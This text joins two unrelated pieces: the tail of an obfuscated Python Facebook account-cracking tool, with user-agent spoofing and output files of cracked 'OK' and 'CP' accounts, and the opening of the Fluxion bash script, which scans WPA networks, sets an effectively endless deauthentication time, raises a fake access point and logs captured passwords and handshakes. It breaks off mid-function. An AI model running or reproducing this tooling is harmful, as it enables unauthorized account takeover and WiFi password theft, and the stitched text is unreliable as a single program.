https://www.google.com/search?q=My+User+Agent&oq=My+User+Agent&aqs=chrome..69i57j0l3j0i22i30l6.4674j0j1&sourceid=chrome&ie=UTF-8') _cici_ahmar_('%s[ %sRetrun %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['2','02','002','b']: _del_() ua = _cici_ahmar_("%s[%s•%s] %sInput User agent : \n\n"%(_U_,_P_,_U_,_P_)) try: ugent = _ahmar_ahmar_('ugent.txt','w') ugent.write(ua) ugent.close() _ahmar_cici_("\n%s[ %sSuccessfully Changed User Agent %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sEnter Click %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) except (KeyError,IOError): _ahmar_cici_("\n%s[ %sFailed to Change User Agent %s]"%(_M_,_P_,_M_)) _cici_ahmar_('\n%s[ %sRetrun %s]%s'%(_M_,_P_,_M_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['3','03','003','c']: _ugen_hp_(_Ahmar_jan_Cici_) elif pmu in ['4','04','004','d']: _del_() _ahmar_cici_("%s[ %sUser Agent Deleted Successfully %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sRetrun %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['5','05','005','e']: try: ungser = _ahmar_ahmar_('ugent.txt', 'r').read() except (KeyError,IOError): ungser = 'Not found' _ahmar_cici_("%s[%s•%s] %sYour User Agent : \n\n%s%s"%(_U_,_P_,_U_,_P_,_U_,ungser)) _ahmar_cici_("\n%s[ %sThis is your current user agent %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sRetrun %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['0','00','000','f']: _menu_dev_(_Ahmar_jan_Cici_) else: _ahmar_cici_('%s[%s!%s] %sWrong Input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) def _ugen_hp_(_Ahmar_jan_Cici_): _del_() _shmar_cici_('%s[%s1%s] %sXiaomi'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s2%s] %sNokia'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s3%s] %sAsus'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s4%s] %sHuawei'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s5%s] %sVivo'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s6%s] %sOppo'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s7%s] %sSamsung'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s8%s] %sWindows'%(_U_,_P_,_U_,_P_)) pc = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _dapunta_cici_('') if pc in['']: _dapunta_cici_('%s[%s!%s] %sWrong Input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) elif pc in ['1','01']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_xiaomi);ugent.close() elif pc in ['2','02']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_nokia);ugent.close() elif pc in ['3','03']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_asus);ugent.close() elif pc in ['4','04']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_huawei);ugent.close() elif pc in ['5','05']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_vivo);ugent.close() elif pc in ['6','06']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_oppo);ugent.close() elif pc in ['7','07']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_samsung);ugent.close() elif pc in ['8','08']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_windows);ugent.close() else: _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) _ahmar_cici_("%s[ %sSuccessfully Changed User Agent %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sEnter Click %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) ### Tampilan User Agent def _var_ugen_(_Ahmar_jan_Cici_): _dapunta_cici_("%s[%s1%s] %sBest User Agent"%(_U_,_P_,_U_,_P_)) _Ahmat_cici_("%s[%s2%s] %sChange User Agent %s[%sManual%s]"%(_U_,_P_,_U_,_P_,_U_,_P_,_U_)) _Ahmar_cici_("%s[%s3%s] %sChange User agent %s[%sAdjust HP%s]"%(_U_,_P_,_U_,_P_,_U_,_P_,_U_)) _Ahmar_cici_("%s[%s4%s] %sDelete User Agent"%(_U_,_P_,_U_,_P_)) _Ahmar_cici_("%s[%s5%s] %sChek User Agent"%(_U_,_P_,_U_,_P_)) _Ahmar_cici_("%s[%s0%s] %sRetrun"%(_U_,_P_,_U_,_P_)) ### Tampilan Metode def start_method(): _Ahmar_cici_('\n%s[%s1%s] %sMetode Api'%(_U_,_P_,_U_,_P_)) _Ahmar_cici_('%s[%s2%s] %sMetode Mbasic'%(_U_,_P_,_U_,_P_)) ### Tampilan Mulai Crack def started(): _Ahmar_cici_('%s[%s•%s] %sCrack is Running...'%(_U_,_P_,_U_,_P_)) _Ahmar_cici_('%s[%s•%s] %sAccount [OK] Saved To OK/%s.txt'%(_U_,_P_,_U_,_P_,tanggal)) _Ahmar_cici_('%s[%s•%s] %sAccount [CP] Saved To CP/%s.txt'%(_U_,_P_,_U_,_P_,tanggal)) _Ahmar_cici_('%s[%s•%s] %sUse Flight Mode [5 Seconds Only] Every 5 Minutes\n'%(_U_,_P_,_U_,_P_)) ### Start if __name__=='__main__': os.system('git pull') _clear_() _folder_() _check_recode_(_oscylopsce_,_ascylapsci_,_escylipsce_) # _Ahmar_cici_('%s[%s•%s] %s'%(_U_,_P_,_U_,_P_)) # _Ahmar_cici_('%s[%s!%s] %s'%(_M_,_P_,_M_,_P_))
Emersonmafra / F#!/bin/bash ########## DEBUG Mode ########## if [ -z ${FLUX_DEBUG+x} ]; then FLUX_DEBUG=0 else FLUX_DEBUG=1 fi ################################ ####### preserve network ####### if [ -z ${KEEP_NETWORK+x} ]; then KEEP_NETWORK=0 else KEEP_NETWORK=1 fi ################################ ###### AUTO CONFIG SETUP ####### if [ -z ${FLUX_AUTO+x} ]; then FLUX_AUTO=0 else FLUX_AUTO=1 fi ################################ if [[ $EUID -ne 0 ]]; then echo -e "\e[1;31mYou don't have admin privilegies, execute the script as root.""\e[0m""" exit 1 fi if [ -z "${DISPLAY:-}" ]; then echo -e "\e[1;31mThe script should be exected inside a X (graphical) session.""\e[0m""" exit 1 fi clear ##################################### < CONFIGURATION > ##################################### DUMP_PATH="/tmp/TMPflux" HANDSHAKE_PATH="/root/handshakes" PASSLOG_PATH="/root/pwlog" WORK_DIR=`pwd` DEAUTHTIME="9999999999999" revision=9 version=2 IP=192.168.1.1 RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) #Colors white="\033[1;37m" grey="\033[0;37m" purple="\033[0;35m" red="\033[1;31m" green="\033[1;32m" yellow="\033[1;33m" Purple="\033[0;35m" Cyan="\033[0;36m" Cafe="\033[0;33m" Fiuscha="\033[0;35m" blue="\033[1;34m" transparent="\e[0m" general_back="Back" general_error_1="Not_Found" general_case_error="Unknown option. Choose again" general_exitmode="Cleaning and closing" general_exitmode_1="Disabling monitoring interface" general_exitmode_2="Disabling interface" general_exitmode_3="Disabling "$grey"forwarding of packets" general_exitmode_4="Cleaning "$grey"iptables" general_exitmode_5="Restoring "$grey"tput" general_exitmode_6="Restarting "$grey"Network-Manager" general_exitmode_7="Cleanup performed successfully!" general_exitmode_8="Thanks for using fluxion" ############################################################################################# # DEBUG MODE = 0 ; DEBUG MODE = 1 [Normal Mode / Developer Mode] if [ $FLUX_DEBUG = 1 ]; then ## Developer Mode export flux_output_device=/dev/stdout HOLD="-hold" else ## Normal Mode export flux_output_device=/dev/null HOLD="" fi # Delete Log only in Normal Mode ! function conditional_clear() { if [[ "$flux_output_device" != "/dev/stdout" ]]; then clear; fi } function airmon { chmod +x lib/airmon/airmon.sh } airmon # Check Updates function checkupdatess { revision_online="$(timeout -s SIGTERM 20 curl "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion" 2>/dev/null| grep "^revision" | cut -d "=" -f2)" if [ -z "$revision_online" ]; then echo "?">$DUMP_PATH/Irev else echo "$revision_online">$DUMP_PATH/Irev fi } # Animation function spinner { local pid=$1 local delay=0.15 local spinstr='|/-\' while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do local temp=${spinstr#?} printf " [%c] " "$spinstr" local spinstr=$temp${spinstr%"$temp"} sleep $delay printf "\b\b\b\b\b\b" done printf " \b\b\b\b" } # ERROR Report only in Developer Mode function err_report { echo "Error on line $1" } if [ $FLUX_DEBUG = 1 ]; then trap 'err_report $LINENUM' ERR fi #Function to executed in case of unexpected termination trap exitmode SIGINT SIGHUP source lib/exitmode.sh #Languages for the web interface source language/source # Design function top(){ conditional_clear echo -e "$red[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]" echo -e "$red[ ]" echo -e "$red[ $red FLUXION $version" "${yellow} ${red} < F""${yellow}luxion" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture > " ${blue}" ]" echo -e "$blue[ ]" echo -e "$blue[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]""$transparent" echo echo } ############################################## < START > ############################################## # Check requirements function checkdependences { echo -ne "aircrack-ng....." if ! hash aircrack-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "aireplay-ng....." if ! hash aireplay-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "airmon-ng......." if ! hash airmon-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "airodump-ng....." if ! hash airodump-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "awk............." if ! hash awk 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "curl............" if ! hash curl 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "dhcpd..........." if ! hash dhcpd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "hostapd........." if ! hash hostapd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "iwconfig........" if ! hash iwconfig 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "lighttpd........" if ! hash lighttpd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "macchanger......" if ! hash macchanger 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "mdk3............" if ! hash mdk3 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "nmap............" if ! [ -f /usr/bin/nmap ]; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "php-cgi........." if ! [ -f /usr/bin/php-cgi ]; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "pyrit..........." if ! hash pyrit 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "python.........." if ! hash python 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "unzip..........." if ! hash unzip 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "xterm..........." if ! hash xterm 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "openssl........." if ! hash openssl 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "rfkill.........." if ! hash rfkill 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "strings........." if ! hash strings 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent" (binutils)" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "fuser..........." if ! hash fuser 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent" (psmisc)" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 if [ "$exit" = "1" ]; then exit 1 fi sleep 1 clear } top checkdependences # Create working directory if [ ! -d $DUMP_PATH ]; then mkdir -p $DUMP_PATH &>$flux_output_device fi # Create handshake directory if [ ! -d $HANDSHAKE_PATH ]; then mkdir -p $HANDSHAKE_PATH &>$flux_output_device fi #create password log directory if [ ! -d $PASSLOG_PATH ]; then mkdir -p $PASSLOG_PATH &>$flux_output_device fi if [ $FLUX_DEBUG != 1 ]; then clear; echo "" sleep 0.01 && echo -e "$red " sleep 0.01 && echo -e " ⌠▓▒▓▒ ⌠▓╗ ⌠█┐ ┌█ ┌▓\ /▓┐ ⌠▓╖ ⌠◙▒▓▒◙ ⌠█\ ☒┐ " sleep 0.01 && echo -e " ║▒_ │▒║ │▒║ ║▒ \▒\/▒/ │☢╫ │▒┌╤┐▒ ║▓▒\ ▓║ " sleep 0.01 && echo -e " ≡◙◙ ║◙║ ║◙║ ║◙ ◙◙ ║¤▒ ║▓║☯║▓ ♜◙\✪\◙♜ " sleep 0.01 && echo -e " ║▒ │▒║__ │▒└_┘▒ /▒/\▒\ │☢╫ │▒└╧┘▒ ║█ \▒█║ " sleep 0.01 && echo -e " ⌡▓ ⌡◘▒▓▒ ⌡◘▒▓▒◘ └▓/ \▓┘ ⌡▓╝ ⌡◙▒▓▒◙ ⌡▓ \▓┘ " sleep 0.01 && echo -e " ¯¯¯ ¯¯¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯ ¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯¯ " echo"" sleep 0.1 echo -e $red" FLUXION "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" ghost" sleep 0.1 echo -e $green " Page:"$red"https://github.com/FluxionNetwork/fluxion "$transparent sleep 0.1 echo -n " Latest rev." tput civis checkupdatess & spinner "$!" revision_online=$(cat $DUMP_PATH/Irev) echo -e ""$white" [${purple}${revision_online}$white"$transparent"]" if [ "$revision_online" != "?" ]; then if [ "$revision" -lt "$revision_online" ]; then echo echo echo -ne $red" New revision found! "$yellow echo -ne "Update? [Y/n]: "$transparent read -N1 doupdate echo -ne "$transparent" doupdate=${doupdate:-"Y"} if [ "$doupdate" = "Y" ]; then cp $0 $HOME/flux_rev-$revision.backup curl "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion" -s -o $0 echo echo echo -e ""$red"Updated successfully! Restarting the script to apply the changes ..."$transparent"" sleep 3 chmod +x $0 exec $0 exit fi fi fi echo "" tput cnorm sleep 1 fi # Show info for the selected AP function infoap { Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] [:lower:]` Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | cut -d " " -f 5-` echo "INFO WIFI" echo echo -e " "$blue"SSID"$transparent" = $Host_SSID / $Host_ENC" echo -e " "$blue"Channel"$transparent" = $channel" echo -e " "$blue"Speed"$transparent" = ${speed:2} Mbps" echo -e " "$blue"BSSID"$transparent" = $mac (\e[1;33m$Host_MAC_MODEL $transparent)" echo } ############################################### < MENU > ############################################### # Windows + Resolution function setresolution { function resA { TOPLEFT="-geometry 90x13+0+0" TOPRIGHT="-geometry 83x26-0+0" BOTTOMLEFT="-geometry 90x24+0-0" BOTTOMRIGHT="-geometry 75x12-0-0" TOPLEFTBIG="-geometry 91x42+0+0" TOPRIGHTBIG="-geometry 83x26-0+0" } function resB { TOPLEFT="-geometry 92x14+0+0" TOPRIGHT="-geometry 68x25-0+0" BOTTOMLEFT="-geometry 92x36+0-0" BOTTOMRIGHT="-geometry 74x20-0-0" TOPLEFTBIG="-geometry 100x52+0+0" TOPRIGHTBIG="-geometry 74x30-0+0" } function resC { TOPLEFT="-geometry 100x20+0+0" TOPRIGHT="-geometry 109x20-0+0" BOTTOMLEFT="-geometry 100x30+0-0" BOTTOMRIGHT="-geometry 109x20-0-0" TOPLEFTBIG="-geometry 100x52+0+0" TOPRIGHTBIG="-geometry 109x30-0+0" } function resD { TOPLEFT="-geometry 110x35+0+0" TOPRIGHT="-geometry 99x40-0+0" BOTTOMLEFT="-geometry 110x35+0-0" BOTTOMRIGHT="-geometry 99x30-0-0" TOPLEFTBIG="-geometry 110x72+0+0" TOPRIGHTBIG="-geometry 99x40-0+0" } function resE { TOPLEFT="-geometry 130x43+0+0" TOPRIGHT="-geometry 68x25-0+0" BOTTOMLEFT="-geometry 130x40+0-0" BOTTOMRIGHT="-geometry 132x35-0-0" TOPLEFTBIG="-geometry 130x85+0+0" TOPRIGHTBIG="-geometry 132x48-0+0" } function resF { TOPLEFT="-geometry 100x17+0+0" TOPRIGHT="-geometry 90x27-0+0" BOTTOMLEFT="-geometry 100x30+0-0" BOTTOMRIGHT="-geometry 90x20-0-0" TOPLEFTBIG="-geometry 100x70+0+0" TOPRIGHTBIG="-geometry 90x27-0+0" } detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3) ## A) 1024x600 ## B) 1024x768 ## C) 1280x768 ## D) 1280x1024 ## E) 1600x1200 case $detectedresolution in "1024x600" ) resA ;; "1024x768" ) resB ;; "1280x768" ) resC ;; "1366x768" ) resC ;; "1280x1024" ) resD ;; "1600x1200" ) resE ;; "1366x768" ) resF ;; * ) resA ;; esac language; setinterface } function language { iptables-save > $DUMP_PATH/iptables-rules conditional_clear if [ "$FLUX_AUTO" = "1" ];then source $WORK_DIR/language/en; setinterface else while true; do conditional_clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" Select your language" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" English " echo -e " "$red"["$yellow"2"$red"]"$transparent" German " echo -e " "$red"["$yellow"3"$red"]"$transparent" Romanian " echo -e " "$red"["$yellow"4"$red"]"$transparent" Turkish " echo -e " "$red"["$yellow"5"$red"]"$transparent" Spanish " echo -e " "$red"["$yellow"6"$red"]"$transparent" Chinese " echo -e " "$red"["$yellow"7"$red"]"$transparent" Italian " echo -e " "$red"["$yellow"8"$red"]"$transparent" Czech " echo -e " "$red"["$yellow"9"$red"]"$transparent" Greek " echo -e " "$red"["$yellow"10"$red"]"$transparent" French " echo -e " "$red"["$yellow"11"$red"]"$transparent" Slovenian " echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) source $WORK_DIR/language/en; break;; 2 ) source $WORK_DIR/language/ger; break;; 3 ) source $WORK_DIR/language/ro; break;; 4 ) source $WORK_DIR/language/tu; break;; 5 ) source $WORK_DIR/language/esp; break;; 6 ) source $WORK_DIR/language/ch; break;; 7 ) source $WORK_DIR/language/it; break;; 8 ) source $WORK_DIR/language/cz break;; 9 ) source $WORK_DIR/language/gr; break;; 10 ) source $WORK_DIR/language/fr; break;; 11 ) source $WORK_DIR/language/svn; break;; * ) echo "Unknown option. Please choose again"; conditional_clear ;; esac done fi } # Choose Interface function setinterface { conditional_clear top #unblock interfaces rfkill unblock all # Collect all interfaces in montitor mode & stop all KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'` for monkill in ${KILLMONITOR[@]}; do airmon-ng stop $monkill >$flux_output_device echo -n "$monkill, " done # Create a variable with the list of physical network interfaces readarray -t wirelessifaces < <(./lib/airmon/airmon.sh |grep "-" | cut -d- -f1) INTERFACESNUMBER=`./lib/airmon/airmon.sh | grep -c "-"` if [ "$INTERFACESNUMBER" -gt "0" ]; then if [ "$INTERFACESNUMBER" -eq "1" ]; then PREWIFI=$(echo ${wirelessifaces[0]} | awk '{print $1}') else echo $header_setinterface echo i=0 for line in "${wirelessifaces[@]}"; do i=$(($i+1)) wirelessifaces[$i]=$line echo -e " "$red"["$yellow"$i"$red"]"$transparent" $line" done if [ "$FLUX_AUTO" = "1" ];then line="1" else echo echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read line fi PREWIFI=$(echo ${wirelessifaces[$line]} | awk '{print $1}') fi if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then conditional_clear top setinterface fi readarray -t naggysoftware < <(./lib/airmon/airmon.sh check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }') WIFIDRIVER=$(./lib/airmon/airmon.sh | grep "$PREWIFI" | awk '{print($(NF-2))}') if [ ! "$(echo $WIFIDRIVER | egrep 'rt2800|rt73')" ]; then rmmod -f "$WIFIDRIVER" &>$flux_output_device 2>&1 fi if [ $KEEP_NETWORK = 0 ]; then for nagger in "${naggysoftware[@]}"; do killall "$nagger" &>$flux_output_device done sleep 0.5 fi if [ ! "$(echo $WIFIDRIVER | egrep 'rt2800|rt73')" ]; then modprobe "$WIFIDRIVER" &>$flux_output_device 2>&1 sleep 0.5 fi # Select Wifi Interface select PREWIFI in $INTERFACES; do break; done WIFIMONITOR=$(./lib/airmon/airmon.sh start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1) WIFI_MONITOR=$WIFIMONITOR WIFI=$PREWIFI #No wireless cards else echo $setinterface_error sleep 5 exitmode fi ghost } # Check files function ghost { conditional_clear CSVDB=dump-01.csv rm -rf $DUMP_PATH/* choosescan selection } # Select channel function choosescan { if [ "$FLUX_AUTO" = "1" ];then Scan else conditional_clear while true; do conditional_clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_choosescan" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" $choosescan_option_1 " echo -e " "$red"["$yellow"2"$red"]"$transparent" $choosescan_option_2 " echo -e " "$red"["$yellow"3"$red"]"$red" $general_back " $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) Scan ; break ;; 2 ) Scanchan ; break ;; 3 ) setinterface; break;; * ) echo "Unknown option. Please choose again"; conditional_clear ;; esac done fi } # Choose your channel if you choose option 2 before function Scanchan { conditional_clear top echo " " echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_choosescan " echo " " echo -e " $scanchan_option_1 "$blue"6"$transparent" " echo -e " $scanchan_option_2 "$blue"1-5"$transparent" " echo -e " $scanchan_option_2 "$blue"1,2,5-7,11"$transparent" " echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read channel_number set -- ${channel_number} conditional_clear rm -rf $DUMP_PATH/dump* xterm $HOLD -title "$header_scanchan [$channel_number]" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng --encrypt WPA -w $DUMP_PATH/dump --channel "$channel_number" -a $WIFI_MONITOR --ignore-negative-one } # Scans the entire network function Scan { conditional_clear rm -rf $DUMP_PATH/dump* if [ "$FLUX_AUTO" = "1" ];then sleep 30 && killall xterm & fi xterm $HOLD -title "$header_scan" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng --encrypt WPA -w $DUMP_PATH/dump -a $WIFI_MONITOR --ignore-negative-one } # Choose a network function selection { conditional_clear top LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'` if [ "$LINEAS_WIFIS_CSV" = "" ];then conditional_clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" Error: your wireless card isn't supported " echo -n -e $transparent"Do you want exit? "$red"["$yellow"Y"$transparent"es / "$yellow"N"$transparent"o"$red"]"$transparent":" read back if [ $back = 'n' ] && [ $back = 'N' ] && [ $back = 'no' ] && [ $back = 'No' ];then clear && exitmode elif [ $back = 'y' ] && [ $back = 'Y' ] && [ $back = 'yes' ] && [ $back = 'Yes' ];then clear && setinterface fi fi if [ $LINEAS_WIFIS_CSV -le 3 ]; then ghost && break fi fluxionap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` fluxionap=`expr $fluxionap - 1` head -n $fluxionap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv tail -n +$fluxionap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv echo " WIFI LIST " echo "" echo " ID MAC CHAN SECU PWR ESSID" echo "" i=0 while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do longueur=${#MAC} PRIVACY=$(echo $PRIVACY| tr -d "^ ") PRIVACY=${PRIVACY:0:4} if [ $longueur -ge 17 ]; then i=$(($i+1)) POWER=`expr $POWER + 100` CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC` if [ "$CLIENTE" != "" ]; then CLIENTE="*" echo -e " "$red"["$yellow"$i"$red"]"$green"$CLIENTE\t""$red"$MAC"\t""$red "$CHANNEL"\t""$green" $PRIVACY"\t ""$red"$POWER%"\t""$red "$ESSID""$transparent"" else echo -e " "$red"["$yellow"$i"$red"]"$white"$CLIENTE\t""$yellow"$MAC"\t""$green "$CHANNEL"\t""$blue" $PRIVACY"\t ""$yellow"$POWER%"\t""$green "$ESSID""$transparent"" fi aidlength=$IDLENGTH assid[$i]=$ESSID achannel[$i]=$CHANNEL amac[$i]=$MAC aprivacy[$i]=$PRIVACY aspeed[$i]=$SPEED fi done < $DUMP_PATH/dump-02.csv # Select the first network if you select the first network if [ "$FLUX_AUTO" = "1" ];then choice=1 else echo echo -e ""$blue "("$white"*"$blue") $selection_1"$transparent"" echo "" echo -e " $selection_2" echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read choice fi if [[ $choice -eq "r" ]]; then ghost fi idlength=${aidlength[$choice]} ssid=${assid[$choice]} channel=$(echo ${achannel[$choice]}|tr -d [:space:]) mac=${amac[$choice]} privacy=${aprivacy[$choice]} speed=${aspeed[$choice]} Host_IDL=$idlength Host_SPEED=$speed Host_ENC=$privacy Host_MAC=$mac Host_CHAN=$channel acouper=${#ssid} fin=$(($acouper-idlength)) Host_SSID=${ssid:1:fin} Host_SSID2=`echo $Host_SSID | sed 's/ //g' | sed 's/\[//g;s/\]//g' | sed 's/\://g;s/\://g' | sed 's/\*//g;s/\*//g' | sed 's/(//g' | sed 's/)//g'` conditional_clear askAP } # FakeAP function askAP { DIGITOS_WIFIS_CSV=`echo "$Host_MAC" | wc -m` if [ $DIGITOS_WIFIS_CSV -le 15 ]; then selection && break fi if [ "$(echo $WIFIDRIVER | grep 8187)" ]; then fakeapmode="airbase-ng" askauth fi if [ "$FLUX_AUTO" = "1" ];then fakeapmode="hostapd"; authmode="handshake"; handshakelocation else top while true; do infoap echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_askAP" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" $askAP_option_1" echo -e " "$red"["$yellow"2"$red"]"$transparent" $askAP_option_2" echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; 2 ) fakeapmode="airbase-ng"; askauth; break ;; 3 ) selection; break ;; * ) echo "$general_case_error"; conditional_clear ;; esac done fi } # Test Passwords / airbase-ng function askauth { if [ "$FLUX_AUTO" = "1" ];then authmode="handshake"; handshakelocation else conditional_clear top while true; do echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_askauth" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" $askauth_option_1" echo -e " "$red"["$yellow"2"$red"]"$transparent" $askauth_option_2" echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e 